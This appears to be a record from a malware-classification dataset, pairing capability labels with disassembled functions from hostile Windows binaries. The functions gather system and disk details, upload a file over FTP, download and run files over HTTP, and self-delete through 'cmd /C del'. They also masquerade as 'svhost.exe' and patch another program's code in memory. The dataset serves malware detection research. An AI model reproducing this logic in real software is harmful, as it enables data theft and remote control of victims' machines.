joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401673
Capabilities:
Create process on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x15c
mov ecx, 0x57
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x401681
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0
push 0x40a140
push str._s_sys.inf
lea edi, [ebp - 0xdc]
push edi
call fcn.00406971
add esp, 0xc
push 0x40c235
lea edi, [ebp - 0xdc]
push edi
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0x14], eax
push str.INFO_struct:_n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 8
push 0x40a240
push 0x40a140
push 0x40a0c0
push 0x40a040
push str.argv:__s_nid:__s_nsysdir:__s_ncmd:__s_n_n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0x18
push str.info_o_diskach:_n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 8
mov dword [ebp - 0xc], 0x41
push dword [ebp - 0xc]
push str._c:_
lea edi, [ebp - 8]
push edi
call fcn.00406971
add esp, 0xc
lea edi, [ebp - 8]
push edi
call sub.KERNEL32.DLL_GetDriveTypeA
mov dword [ebp - 0x18], eax
mov edi, dword [ebp - 0x18]
cmp edi, 0
jl case.0x401745.1
cmp edi, 6
jg case.0x401745.1
jmp dword [edi*4 + 0x40c0c8]
lea edi, [ebp - 8]
push edi
push str._s____ostatni__n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0xc
jmp case.0x401745.1
lea edi, [ebp - 8]
push edi
push str._s____disketa__n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0xc
jmp case.0x401745.1
lea edi, [ebp - 8]
push edi
push str._s____hdd__n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0xc
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0xc]
mov ebx, esi
mov byte [ebp + edi - 0x5c], bl
inc dword [ebp - 0x1c]
jmp case.0x401745.1
lea edi, [ebp - 8]
push edi
push str._s____network__n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0xc
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0xc]
mov ebx, esi
mov byte [ebp + edi - 0x5c], bl
inc dword [ebp - 0x1c]
jmp case.0x401745.1
lea edi, [ebp - 8]
push edi
push str._s____cd__n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0xc
jmp case.0x401745.1
lea edi, [ebp - 8]
push edi
push str._s____ram__n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0xc
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x5a
jl 0x401710
mov edi, dword [ebp - 0x1c]
mov byte [ebp + edi - 0x5c], 0
mov dword [ebp - 0x10], 0
jmp 0x40184d
mov edi, dword [ebp - 0x10]
movsx edi, byte [ebp + edi - 0x5c]
push edi
push str._c:_
lea edi, [ebp - 8]
push edi
call fcn.00406971
add esp, 0xc
lea edi, [ebp - 8]
push edi
push str._nvypis_disku__s_n_______________n_n
push dword [ebp - 0x14]
call fcn.00409ba0
add esp, 0xc
push dword [ebp - 0x14]
lea edi, [ebp - 8]
push edi
call fcn.004014a8
add esp, 8
inc dword [ebp - 0x10]
mov edi, dword [ebp - 0x1c]
cmp dword [ebp - 0x10], edi
jl 0x40180d
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_fclose
add esp, 4
push 5
call fcn.00401a88
add esp, 4
lea edi, [ebp - 0xdc]
push edi
call fcn.004018b6
add esp, 4
push 5
call fcn.00401a88
add esp, 4
lea edi, [ebp - 0xdc]
push edi
push 0x40a240
push str._s__C_del___s_
lea edi, [ebp - 0x15c]
push edi
call fcn.00406971
add esp, 0x10
push 0
lea edi, [ebp - 0x15c]
push edi
call sub.KERNEL32.DLL_WinExec
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4018b6
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x894
mov ecx, 0x225
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x4018c4
push ebx
push esi
push edi
mov dword [ebp - 0x690], 0x80
push dword [ebp + 8]
call fcn.00402176
add esp, 4
push dword [ebp + 8]
push str._s.7z
lea edi, [ebp - 0x68c]
push edi
call fcn.00406971
add esp, 0xc
push 5
call fcn.00401a88
add esp, 4
mov dword [ebp - 4], 0
jmp 0x401949
mov edi, dword [ebp - 4]
mov esi, dword [ebp + 8]
movsx edi, byte [esi + edi]
test byte [edi + str.________________________________H], 3
jne 0x401929
cmp edi, 0x2e
jne 0x40193b
mov edi, dword [ebp - 4]
mov esi, dword [ebp + 8]
mov bl, byte [esi + edi]
mov byte [ebp + edi - 0x204], bl
jmp 0x401946
mov edi, dword [ebp - 4]
mov byte [ebp + edi - 0x204], 0x2d
inc dword [ebp - 4]
push dword [ebp + 8]
call fcn.00406a64
add esp, 4
cmp dword [ebp - 4], eax
jb 0x401910
mov edi, dword [ebp - 4]
mov byte [ebp + edi - 0x204], 0
lea edi, [ebp - 0x204]
push edi
push 0x40a0c0
push str._s__s
lea edi, [ebp - 0x60c]
push edi
call fcn.00406971
add esp, 0x10
push 0x40c159
lea edi, [ebp - 0x60c]
push edi
call sub.CRTDLL.DLL_strcat
add esp, 8
jmp 0x4019a8
push dword [0x40c0a0]
call fcn.00401a88
add esp, 4
call fcn.00401304
cmp eax, 1
je 0x40199a
push 0
push 0
push 0
push 0
push 0x40c156
call sub.WININET.DLL_InternetOpenA
mov dword [ebp - 0x208], eax
cmp eax, 0
jne 0x4019d4
jmp 0x401a83
push 0
push 0x8000000
push 1
push 0x40a2c0
push 0x40a1c0
push 0x15
push 0x40a1c0
push dword [ebp - 0x208]
call sub.WININET.DLL_InternetConnectA
mov dword [ebp - 0x20c], eax
cmp eax, 0
jne 0x401a11
push dword [ebp - 0x208]
call sub.WININET.DLL_InternetCloseHandle
jmp 0x401a83
push 0
push 2
lea edi, [ebp - 0x60c]
push edi
lea edi, [ebp - 0x68c]
push edi
push dword [ebp - 0x20c]
call sub.WININET.DLL_FtpPutFileA
cmp eax, 0
jne 0x401a6d
push 0
push 2
lea edi, [ebp - 0x60c]
push edi
lea edi, [ebp - 0x68c]
push edi
push dword [ebp - 0x20c]
call sub.WININET.DLL_FtpPutFileA
cmp eax, 0
jne 0x401a6d
push dword [ebp - 0x20c]
call sub.WININET.DLL_InternetCloseHandle
push dword [ebp - 0x208]
call sub.WININET.DLL_InternetCloseHandle
jmp 0x401a83
push dword [ebp - 0x20c]
call sub.WININET.DLL_InternetCloseHandle
push dword [ebp - 0x208]
call sub.WININET.DLL_InternetCloseHandle
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401a9c
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1f514
call fcn.004069a4
mov ecx, 0x7d45
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x401aae
push edi
mov dword [ebp - 0x10c], 0x1f400
mov dword [ebp - 0x1f514], 1
push dword [ebp - 0x10c]
push 0
lea edi, [ebp - 0x1f510]
push edi
call sub.CRTDLL.DLL_memset
add esp, 0xc
push dword [ebp + 8]
push 0x40a1c0
push str.http:___s__s
lea edi, [ebp - 0x100]
push edi
call fcn.00406971
add esp, 0x10
jmp 0x401b10
push dword [0x40c0a0]
call fcn.00401a88
add esp, 4
call fcn.00401304
cmp eax, 1
je 0x401b02
push 0
push 0
push 0
push 0
push 0x40c2af
call sub.WININET.DLL_InternetOpenA
mov dword [ebp - 0x104], eax
cmp eax, 0
jne 0x401b3c
jmp 0x401c12
push 0
push 0x40000000
push 0
push 0
lea edi, [ebp - 0x100]
push edi
push dword [ebp - 0x104]
call sub.WININET.DLL_InternetOpenUrlA
mov dword [ebp - 0x108], eax
cmp eax, 0
jne 0x401b69
jmp 0x401c12
lea edi, [ebp - 0x1f514]
push edi
push dword [ebp - 0x10c]
lea edi, [ebp - 0x1f510]
push edi
push dword [ebp - 0x108]
call sub.WININET.DLL_InternetReadFile
cmp eax, 0
jne 0x401b92
jmp 0x401c12
push dword [ebp + 8]
push 0x40a140
push str._s_s
lea edi, [ebp - 0x100]
push edi
call fcn.00406971
add esp, 0x10
push 0x40c140
lea edi, [ebp - 0x100]
push edi
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
je 0x401bfc
push dword [ebp - 0x110]
push 1
push dword [ebp - 0x1f514]
lea edi, [ebp - 0x1f510]
push edi
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 0x110]
call sub.CRTDLL.DLL_fclose
add esp, 4
push dword [ebp - 0x108]
call sub.WININET.DLL_InternetCloseHandle
push dword [ebp - 0x104]
call sub.WININET.DLL_InternetCloseHandle
pop edi
leave
ret

Function at 0x401c15
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
mov ecx, 0x80
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x401c23
push edi
push dword [ebp + 8]
push 0x40a240
push str._s__C__s
lea edi, [ebp - 0x200]
push edi
call fcn.00406971
add esp, 0x10
push 0
lea edi, [ebp - 0x200]
push edi
call sub.KERNEL32.DLL_WinExec
pop edi
leave
ret
Function at 0x401c5b
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa20
mov ecx, 0x288
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x401c69
push ebx
push esi
push edi
mov dword [ebp - 0x814], 0x800
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xa1c], 1
push dword [ebp - 0x814]
push 0
push dword [ebp + 8]
call sub.CRTDLL.DLL_memset
add esp, 0xc
push dword [ebp - 0x814]
push 0
lea edi, [ebp - 0x80c]
push edi
call sub.CRTDLL.DLL_memset
add esp, 0xc
jmp 0x401cd2
push dword [0x40c0a0]
call fcn.00401a88
add esp, 4
call fcn.00401304
cmp eax, 1
je 0x401cc4
push 0
push 0
push 0
push 1
push 0x40c2af
call sub.WININET.DLL_InternetOpenA
mov dword [ebp - 0x810], eax
cmp eax, 0
jne 0x401d0e
push 0x40c135
push dword [ebp + 8]
call fcn.004069ed
add esp, 8
jmp 0x401e9b
push 0x40a0c0
push 0x40a1c0
push 0x40c125
lea edi, [ebp - 0xa18]
push edi
call fcn.00406971
add esp, 0x10
push 0
push 0x40000000
push 0
push 0
lea edi, [ebp - 0xa18]
push edi
push dword [ebp - 0x810]
call sub.WININET.DLL_InternetOpenUrlA
mov dword [ebp - 0x818], eax
cmp eax, 0
jne 0x401d74
push 0x40c123
push dword [ebp + 8]
call fcn.004069ed
add esp, 8
push dword [ebp - 0x810]
call sub.WININET.DLL_InternetCloseHandle
jmp 0x401e9b
lea edi, [ebp - 0xa1c]
push edi
push dword [ebp - 0x814]
push dword [ebp + 8]
push dword [ebp - 0x818]
call sub.WININET.DLL_InternetReadFile
cmp eax, 0
jne 0x401dbf
push 0x40c121
push dword [ebp + 8]
call fcn.004069ed
add esp, 8
push dword [ebp - 0x818]
call sub.WININET.DLL_InternetCloseHandle
push dword [ebp - 0x810]
call sub.WININET.DLL_InternetCloseHandle
jmp 0x401e9b
push dword [ebp - 0x818]
call sub.WININET.DLL_InternetCloseHandle
push dword [ebp - 0x810]
call sub.WININET.DLL_InternetCloseHandle
mov byte [ebp - 0x80c], 0x34
mov byte [ebp - 0x80b], 0
mov dword [ebp - 4], 0
jmp 0x401e51
cmp dword [ebp - 8], 1
jne 0x401e1f
mov edi, dword [ebp - 4]
mov esi, dword [ebp + 8]
movsx edi, byte [esi + edi]
cmp edi, 0xd
je 0x401e06
cmp edi, 0xa
jne 0x401e1f
mov edi, dword [ebp - 0xc]
mov byte [ebp + edi - 0x80c], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
cmp dword [ebp - 8], 1
jne 0x401e3b
mov edi, dword [ebp - 0xc]
mov esi, dword [ebp - 4]
mov ebx, dword [ebp + 8]
mov bl, byte [ebx + esi]
mov byte [ebp + edi - 0x80c], bl
inc dword [ebp - 0xc]
mov edi, dword [ebp - 4]
mov esi, dword [ebp + 8]
cmp byte [esi + edi], 0x23
jne 0x401e4e
mov dword [ebp - 8], 1
inc dword [ebp - 4]
push dword [ebp + 8]
call fcn.00406a64
add esp, 4
cmp dword [ebp - 4], eax
jb 0x401dec
lea edi, [ebp - 0x80c]
push edi
call fcn.00406a64
add esp, 4
cmp eax, 1
jae 0x401e89
push 0x40c11f
lea edi, [ebp - 0x80c]
push edi
call fcn.004069ed
add esp, 8
lea edi, [ebp - 0x80c]
push edi
push dword [ebp + 8]
call fcn.004069ed
add esp, 8
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401ffc
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov ecx, 8
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x402007
push edi
push 0x40c118
push dword [ebp + 8]
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 8], eax
cmp eax, 0
jne 0x402034
mov eax, 1
jmp 0x402173
push 2
push 0
push dword [ebp - 8]
call sub.CRTDLL.DLL_fseek
add esp, 0xc
push dword [ebp - 8]
call sub.CRTDLL.DLL_ftell
add esp, 4
mov dword [ebp - 4], eax
push 0
push 0
push dword [ebp - 8]
call sub.CRTDLL.DLL_fseek
add esp, 0xc
push dword [ebp - 4]
call sub.CRTDLL.DLL_malloc
add esp, 4
mov edi, eax
mov dword [ebp - 0xc], edi
cmp edi, 0
je 0x4020b3
push dword [ebp - 4]
call fcn.00403a16
add esp, 4
mov edi, eax
push edi
call sub.CRTDLL.DLL_malloc
add esp, 4
mov edi, eax
mov dword [ebp - 0x10], edi
cmp edi, 0
je 0x4020b3
push dword [ebp - 4]
call fcn.00403a10
add esp, 4
mov edi, eax
push edi
call sub.CRTDLL.DLL_malloc
add esp, 4
mov dword [ebp - 0x18], eax
cmp eax, 0
jne 0x4020bd
mov eax, 1
jmp 0x402173
push dword [ebp - 8]
push dword [ebp - 4]
push 1
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_fread
add esp, 0x10
cmp eax, dword [ebp - 4]
je 0x4020df
mov eax, 1
jmp 0x402173
call sub.CRTDLL.DLL_clock
mov dword [ebp - 0x20], eax
push 0
push 0x401ff2
push dword [ebp - 0x18]
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call fcn.00403b5c
add esp, 0x18
mov dword [ebp - 0x1c], eax
push 0x40c140
push dword [ebp + 0xc]
call sub.CRTDLL.DLL_fopen
add esp, 8
mov dword [ebp - 0x14], eax
cmp eax, 0
jne 0x402124
mov eax, 1
jmp 0x402173
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
push 1
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_fwrite
add esp, 0x10
push dword [ebp - 0x14]
call sub.CRTDLL.DLL_fclose
add esp, 4
push dword [ebp - 8]
call sub.CRTDLL.DLL_fclose
add esp, 4
push dword [ebp - 0x18]
call sub.CRTDLL.DLL_free
add esp, 4
push dword [ebp - 0x10]
call sub.CRTDLL.DLL_free
add esp, 4
push dword [ebp - 0xc]
call sub.CRTDLL.DLL_free
add esp, 4
mov eax, 0
pop edi
leave
ret
Function at 0x4021b5
Capabilities:
Create process on windows
Get common file path
Get comspec environment variable
Get hostname
Get session user name
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x984
mov ecx, 0x261
dec ecx
mov dword [esp + ecx*4], 0xfffa5a5a
jne 0x4021c3
push edi
mov dword [ebp - 0x884], 0x80
lea edi, [ebp - 0x884]
push edi
lea edi, [ebp - 0x880]
push edi
call sub.ADVAPI32.DLL_GetUserNameA
cmp eax, 0
jne 0x402204
push 0x40c116
lea edi, [ebp - 0x880]
push edi
call fcn.004069ed
add esp, 8
mov dword [ebp - 0x884], 0x80
lea edi, [ebp - 0x884]
push edi
lea edi, [ebp - 0x904]
push edi
call sub.KERNEL32.DLL_GetComputerNameA
cmp eax, 0
jne 0x40223a
push 0x40c116
lea edi, [ebp - 0x904]
push edi
call fcn.004069ed
add esp, 8
lea edi, [ebp - 0x904]
push edi
lea edi, [ebp - 0x880]
push edi
push str._s__s
push 0x40a0c0
call fcn.00406971
add esp, 0x10
push 0x80
push 0x40a140
call sub.KERNEL32.DLL_GetSystemDirectoryA
push str.kqr_ux_ax
push 0x40a1c0
call fcn.00401380
add esp, 8
push str.jmulmkqr
push 0x40a2c0
call fcn.00401380
add esp, 8
mov edi, dword [ebp + 0xc]
push dword [edi]
push 0x40a040
call fcn.004069ed
add esp, 8
push 0x80
push 0x40a240
push str.COMSPEC
call sub.KERNEL32.DLL_GetEnvironmentVariableA
push str.svhost.exe
lea edi, [ebp - 0x880]
push edi
call fcn.00406971
add esp, 8
lea edi, [ebp - 0x880]
push edi
mov edi, dword [ebp + 0xc]
push dword [edi]
call sub.CRTDLL.DLL_strstr
add esp, 8
cmp eax, 0
jne 0x4022fd
call fcn.004013d4
push 0
lea edi, [ebp - 0x880]
push edi
call sub.KERNEL32.DLL_WinExec
mov eax, 0
jmp 0x402396
call fcn.004013d4
jmp 0x402317
push dword [0x40c0a0]
call fcn.00401a88
add esp, 4
call fcn.004013d4
call fcn.00401304
cmp eax, 1
je 0x402304
push 0x800
push 0
lea edi, [ebp - 0x800]
push edi
call sub.CRTDLL.DLL_memset
add esp, 0xc
lea edi, [ebp - 0x800]
push edi
call fcn.00401c5b
add esp, 4
lea edi, [ebp - 0x800]
push edi
call fcn.00401ea0
add esp, 4
movsx edi, byte [ebp - 0x800]
cmp edi, 0x42
jne 0x402366
cmp edi, 0x43
je 0x402376
push dword [0x40c0a4]
call fcn.00401a88
add esp, 4
jmp 0x4022fd
mov eax, dword [0x40c0a4]
mov ecx, 4
cdq
idiv ecx
push eax
call fcn.00401a88
add esp, 4
jmp 0x4022fd
pop edi
leave
ret
Function at 0x403a74
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x40c3b4
sub eax, eax
test esi, esi
je 0x403b54
sub eax, 1
test ecx, ecx
je 0x403b52
test esi, 3
je 0x403ab2
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x403a97
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x403b39
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x403ac0
mov ecx, edx
test ecx, ecx
je 0x403b52
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x403b3f
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x100011fb
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push edi
push 0x40
xor dl, dl
pop ecx
xor eax, eax
lea edi, [ebp - 0x123]
mov byte [ebp - 0x124], dl
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x227]
mov byte [ebp - 0x228], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x1f]
mov byte [ebp - 0x20], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x124]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x124]
push eax
lea eax, [ebp - 0x228]
push str._sxy2.ini
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x228]
push eax
lea eax, [ebp - 0x20]
push 0x20
push eax
push 0x1000a694
push str.HostName
push str.Setting
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x20]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
pop edi
test eax, eax
jbe 0x100012c1
push esi
lea eax, [ebp - 0x20]
mov esi, 0x10091738
push eax
push esi
call sub.MSVCRT.dll_strcpy
push esi
push 0x100916f8
call sub.MSVCRT.dll_strcpy
add esp, 0x10
pop esi
leave
ret
Function at 0x10001e30
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, str.xy2.exe
push esi
push 0x100914e4
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x10001ff3
push 0x10090e90
push 1
push 0x10090f40
push 0x100915e8
call fcn.10004e6d
push 0x100918c0
call fcn.100055b7
add esp, 0x14
call fcn.100053e8
test eax, eax
jne 0x10001ff3
push edi
call dword [sym.imp.MSVCRT.dll__getpid]
push eax
push 0x10001c52
call dword [sym.imp.USER32.dll_EnumWindows]
call fcn.1000267c
mov edi, eax
call fcn.10004725
push 0x10001ccc
call fcn.10003b66
and byte [ebp - 9], 0
and byte [ebp - 8], 0
and byte [ebp - 7], 0
pop ecx
push 1
push 0xffffffffffffffea
lea eax, [ebp - 0x10]
push 0xa
push eax
push esi
mov ecx, edi
mov byte [ebp - 0x10], 0x83
mov byte [ebp - 0xf], 0xc4
mov byte [ebp - 0xe], 0x10
mov byte [ebp - 0xd], 0x8b
mov byte [ebp - 0xc], 0xf0
mov byte [ebp - 0xb], 0xb9
mov byte [ebp - 0xa], 4
call fcn.1000241e
test eax, eax
jbe 0x10001ef7
push 0x10001839
push eax
mov ecx, edi
call fcn.10002047
push 1
push 0
lea eax, [ebp - 0x10]
push 0xd
push eax
push esi
mov ecx, edi
mov byte [ebp - 0x10], 0x8b
mov byte [ebp - 0xf], 0xc3
mov byte [ebp - 0xe], 0xc1
mov byte [ebp - 0xd], 0xe0
mov byte [ebp - 0xc], 9
mov byte [ebp - 0xb], 3
mov byte [ebp - 0xa], 0xc2
mov byte [ebp - 9], 0x50
mov byte [ebp - 8], 0x8d
mov byte [ebp - 7], 0x4c
mov byte [ebp - 6], 0x24
mov byte [ebp - 5], 0x10
mov byte [ebp - 4], 0x51
call fcn.1000241e
test eax, eax
jbe 0x10001f4e
push 0x10001692
push eax
mov ecx, edi
call fcn.1000223f
push 1
push 7
lea eax, [ebp - 0xc]
push 7
push eax
push esi
mov ecx, edi
mov byte [ebp - 0xc], 0x8b
mov byte [ebp - 0xb], 0xd8
mov byte [ebp - 0xa], 0x53
mov byte [ebp - 9], 0x8b
mov byte [ebp - 8], 0xd7
mov byte [ebp - 7], 0x8b
mov byte [ebp - 6], 0xc6
call fcn.1000241e
test eax, eax
jbe 0x10001f8d
push 0x10001353
push eax
mov ecx, edi
call fcn.10002047
push 1
push 5
lea eax, [ebp - 0x10]
push 0xb
push eax
push esi
mov ecx, edi
mov byte [ebp - 0x10], 0x8b
mov byte [ebp - 0xf], 3
mov byte [ebp - 0xe], 0x8b
mov byte [ebp - 0xd], 0x48
mov byte [ebp - 0xc], 0xfc
mov byte [ebp - 0xb], 0x83
mov byte [ebp - 0xa], 0xe8
mov byte [ebp - 9], 0xc
mov byte [ebp - 8], 0x83
mov byte [ebp - 7], 0xf9
mov byte [ebp - 6], 1
call fcn.1000241e
test eax, eax
jbe 0x10001fdc
push 0x10001a36
push eax
mov ecx, edi
call fcn.1000214d
push 0x100015c3
push 0xcf847b
mov ecx, edi
call fcn.10002047
push 1
pop eax
pop edi
jmp 0x10001ff5
xor eax, eax
pop esi
leave
ret

Function at 0x100023fa
Capabilities:
Parse pe header

Disassembly:
mov edx, dword [esp + 4]
xor eax, eax
test edx, edx
je 0x1000241b
cmp word [edx], 0x5a4d
jne 0x1000241b
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x1000241b
mov eax, dword [ecx + 0x50]
ret 4
Function at 0x1000314f
Capabilities:
Delete file

Disassembly:
mov eax, 0x100068a0
call fcn.10006640
sub esp, 0x164
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
lea eax, [ebp - 0x3c]
push ebx
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call sub.gdiplus.dll_GdiplusStartup
push dword [ebp + 8]
lea eax, [ebp - 0x170]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
lea eax, [ebp - 0x170]
pop ecx
push 0x10009910
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea ecx, [ebp - 0x170]
sub ecx, 3
add eax, ecx
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
pop ecx
push ebx
push ebx
push 0xffffffffffffffff
push dword [ebp + 8]
push ebx
push ebx
call esi
mov dword [ebp - 0x10], eax
lea eax, [eax + eax + 2]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x14], eax
push dword [ebp - 0x10]
push eax
push 0xffffffffffffffff
push dword [ebp + 8]
push ebx
push ebx
call esi
push ebx
push ebx
lea eax, [ebp - 0x170]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call esi
mov dword [ebp - 0x10], eax
lea eax, [eax + eax + 2]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x18], eax
push dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x170]
push 0xffffffffffffffff
push eax
push ebx
push ebx
call esi
lea eax, [ebp - 0x24]
mov dword [ebp - 0x28], 0x10007220
mov dword [ebp - 0x24], ebx
push eax
push dword [ebp - 0x14]
call sub.gdiplus.dll_GdipLoadImageFromFile
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 4], ebx
push eax
push str.image_jpeg
call fcn.100032c2
mov dword [ebp - 0x5c], edi
mov esi, 0x10007228
lea edi, [ebp - 0x58]
pop ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ecx
lea eax, [ebp + 0xc]
movsd dword es:[edi], dword [esi]
push 1
mov dword [ebp - 0x40], eax
pop esi
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x6c]
push eax
mov dword [ebp - 0x44], 4
push dword [ebp - 0x18]
mov dword [ebp - 0x48], esi
push dword [ebp - 0x24]
call sub.gdiplus.dll_GdipSaveImageToFile
cmp eax, ebx
je 0x1000327f
mov dword [ebp - 0x20], eax
push dword [ebp - 0x14]
call fcn.10006602
push dword [ebp - 0x18]
call fcn.10006602
pop ecx
mov dword [ebp - 0x28], 0x10007220
pop ecx
push dword [ebp - 0x24]
call sub.gdiplus.dll_GdipDisposeImage
push dword [ebp - 0x2c]
call sub.gdiplus.dll_GdiplusShutdown
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x100039de
Capabilities:
Create thread

Disassembly:
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push esi
push esi
push 0x100038cf
push esi
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call ebx
push esi
push esi
push esi
push 0x10003986
push esi
push esi
call edi
push eax
call ebx
push 1
pop eax
pop edi
pop esi
pop ebx
ret